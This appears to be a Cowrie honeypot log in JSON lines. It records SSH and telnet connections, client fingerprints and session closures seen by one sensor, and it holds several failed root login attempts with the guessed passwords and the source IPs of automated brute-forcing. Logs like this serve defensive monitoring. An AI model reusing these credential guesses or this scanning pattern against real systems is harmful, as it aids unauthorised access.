{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.656829Z","src_ip":"40.83.182.122","session":"7d85cc9e8f9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.732512Z","src_ip":"40.83.182.122","session":"7d85cc9e8f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.48037815093994,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.801619Z","src_ip":"192.119.13.58","session":"efef301fa687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.19028615951538,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.920022Z","src_ip":"192.119.13.58","session":"0505ee861e9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ionut","message":"login attempt [root/ionut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:33.060050Z","src_ip":"40.83.182.122","session":"7d85cc9e8f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:33.452250Z","src_ip":"103.173.227.57","session":"b6635def75de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.146889448165894,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:33.888863Z","src_ip":"192.119.13.58","session":"de809508050f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:34.137034Z","src_ip":"40.83.182.122","session":"7d85cc9e8f9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffddfeeae5bb","protocol":"telnet","message":"New connection: 192.119.13.58:41832 (10.17.0.5:23) [session: ffddfeeae5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:37.323982Z"}
{"eventid":"cowrie.session.closed","duration":43.767279863357544,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:42.937482Z","src_ip":"192.119.13.58","session":"150c046007dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45452,"dst_ip":"10.17.0.5","dst_port":23,"session":"42575ae3e3d9","protocol":"telnet","message":"New connection: 192.119.13.58:45452 (10.17.0.5:23) [session: 42575ae3e3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:43.182581Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55582,"dst_ip":"10.17.0.5","dst_port":23,"session":"e70eaba5a2c1","protocol":"telnet","message":"New connection: 192.119.13.58:55582 (10.17.0.5:23) [session: e70eaba5a2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:45.678567Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57420,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93ac579e9aa","protocol":"telnet","message":"New connection: 192.119.13.58:57420 (10.17.0.5:23) [session: c93ac579e9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:46.181011Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46788,"dst_ip":"159.203.135.109","dst_port":22,"session":"d71831d425fa","protocol":"ssh","message":"New connection: 103.172.78.219:46788 (159.203.135.109:22) [session: d71831d425fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:46.185751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:46.193990Z","src_ip":"103.172.78.219","session":"d71831d425fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:46.449473Z","src_ip":"103.172.78.219","session":"d71831d425fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.254092931747437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:46.626062Z","src_ip":"192.119.13.58","session":"51f764562492","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkbr","message":"login attempt [root/dbnfkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:47.214181Z","src_ip":"103.172.78.219","session":"d71831d425fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:48.470859Z","src_ip":"103.172.78.219","session":"d71831d425fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47336,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88ab6bae888","protocol":"telnet","message":"New connection: 192.119.13.58:47336 (10.17.0.5:23) [session: e88ab6bae888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:50.154120Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48396,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ae195786935","protocol":"telnet","message":"New connection: 192.119.13.58:48396 (10.17.0.5:23) [session: 5ae195786935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:50.568436Z"}
{"eventid":"cowrie.session.closed","duration":42.07251262664795,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:57.134395Z","src_ip":"192.119.13.58","session":"a69712ff695a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.61994671821594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:00.439225Z","src_ip":"192.119.13.58","session":"811ece00de7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a667ec82079","protocol":"telnet","message":"New connection: 192.119.13.58:57048 (10.17.0.5:23) [session: 6a667ec82079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:00.724787Z"}
{"eventid":"cowrie.session.closed","duration":46.25711393356323,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:02.698793Z","src_ip":"192.119.13.58","session":"2d15519b6fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56328,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c08c5f33a35","protocol":"telnet","message":"New connection: 192.119.13.58:56328 (10.17.0.5:23) [session: 0c08c5f33a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:04.721731Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"978b5ecd2a8d","protocol":"telnet","message":"New connection: 192.119.13.58:59670 (10.17.0.5:23) [session: 978b5ecd2a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:05.947428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"76aeffe14ae0","protocol":"telnet","message":"New connection: 192.119.13.58:37418 (10.17.0.5:23) [session: 76aeffe14ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:07.592309Z"}
{"eventid":"cowrie.session.closed","duration":44.98178839683533,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:08.122077Z","src_ip":"192.119.13.58","session":"505ade5a10df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.579886198043823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:08.903762Z","src_ip":"192.119.13.58","session":"ffddfeeae5bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":50484,"dst_ip":"10.17.0.5","dst_port":22,"session":"697d044943dd","protocol":"ssh","message":"New connection: 103.164.9.74:50484 (10.17.0.5:22) [session: 697d044943dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:10.598496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:10.604212Z","src_ip":"103.164.9.74","session":"697d044943dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:10.816138Z","src_ip":"103.164.9.74","session":"697d044943dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56164,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8600e7b493","protocol":"telnet","message":"New connection: 192.119.13.58:56164 (10.17.0.5:23) [session: 8b8600e7b493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:11.350910Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd6eb6c238aa","protocol":"telnet","message":"New connection: 192.119.13.58:59794 (10.17.0.5:23) [session: cd6eb6c238aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:11.928715Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dusan","message":"login attempt [root/dusan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:12.240205Z","src_ip":"103.164.9.74","session":"697d044943dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38346,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e61c8159d7","protocol":"telnet","message":"New connection: 192.119.13.58:38346 (10.17.0.5:23) [session: 73e61c8159d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:12.923624Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:13.455040Z","src_ip":"103.164.9.74","session":"697d044943dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.25043606758118,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:15.140867Z","src_ip":"192.119.13.58","session":"6788677ca32a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.82306361198425,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:15.368637Z","src_ip":"192.119.13.58","session":"92cc330c686e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44590,"dst_ip":"10.17.0.5","dst_port":23,"session":"6786caee9fa0","protocol":"telnet","message":"New connection: 192.119.13.58:44590 (10.17.0.5:23) [session: 6786caee9fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:15.730158Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39594,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca236988ef7b","protocol":"ssh","message":"New connection: 103.27.238.116:39594 (10.17.0.5:22) [session: ca236988ef7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:17.099344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:17.104691Z","src_ip":"103.27.238.116","session":"ca236988ef7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:17.373620Z","src_ip":"103.27.238.116","session":"ca236988ef7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55968,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7c83d6e134","protocol":"telnet","message":"New connection: 192.119.13.58:55968 (10.17.0.5:23) [session: fa7c83d6e134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:17.821765Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:18.181865Z","src_ip":"103.27.238.116","session":"ca236988ef7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:19.453412Z","src_ip":"103.27.238.116","session":"ca236988ef7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35188,"dst_ip":"10.17.0.5","dst_port":23,"session":"6edd77c47a00","protocol":"telnet","message":"New connection: 192.119.13.58:35188 (10.17.0.5:23) [session: 6edd77c47a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:19.624557Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38582,"dst_ip":"10.17.0.5","dst_port":23,"session":"716dfebc9bd5","protocol":"telnet","message":"New connection: 192.119.13.58:38582 (10.17.0.5:23) [session: 716dfebc9bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:20.495600Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39928,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ee7ba5923c6","protocol":"telnet","message":"New connection: 192.119.13.58:39928 (10.17.0.5:23) [session: 8ee7ba5923c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:20.915690Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55658,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7171c207df2","protocol":"ssh","message":"New connection: 62.133.62.83:55658 (10.17.0.5:22) [session: f7171c207df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:21.784883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:21.790318Z","src_ip":"62.133.62.83","session":"f7171c207df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:21.874112Z","src_ip":"62.133.62.83","session":"f7171c207df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanya","message":"login attempt [root/sanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:22.117386Z","src_ip":"62.133.62.83","session":"f7171c207df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.11950397491455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:22.273537Z","src_ip":"192.119.13.58","session":"e88ab6bae888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"4959967a7832","protocol":"telnet","message":"New connection: 192.119.13.58:45726 (10.17.0.5:23) [session: 4959967a7832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:22.455858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46526,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67472236114","protocol":"telnet","message":"New connection: 192.119.13.58:46526 (10.17.0.5:23) [session: a67472236114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:22.670846Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:23.227287Z","src_ip":"62.133.62.83","session":"f7171c207df2","protocol":"ssh"}
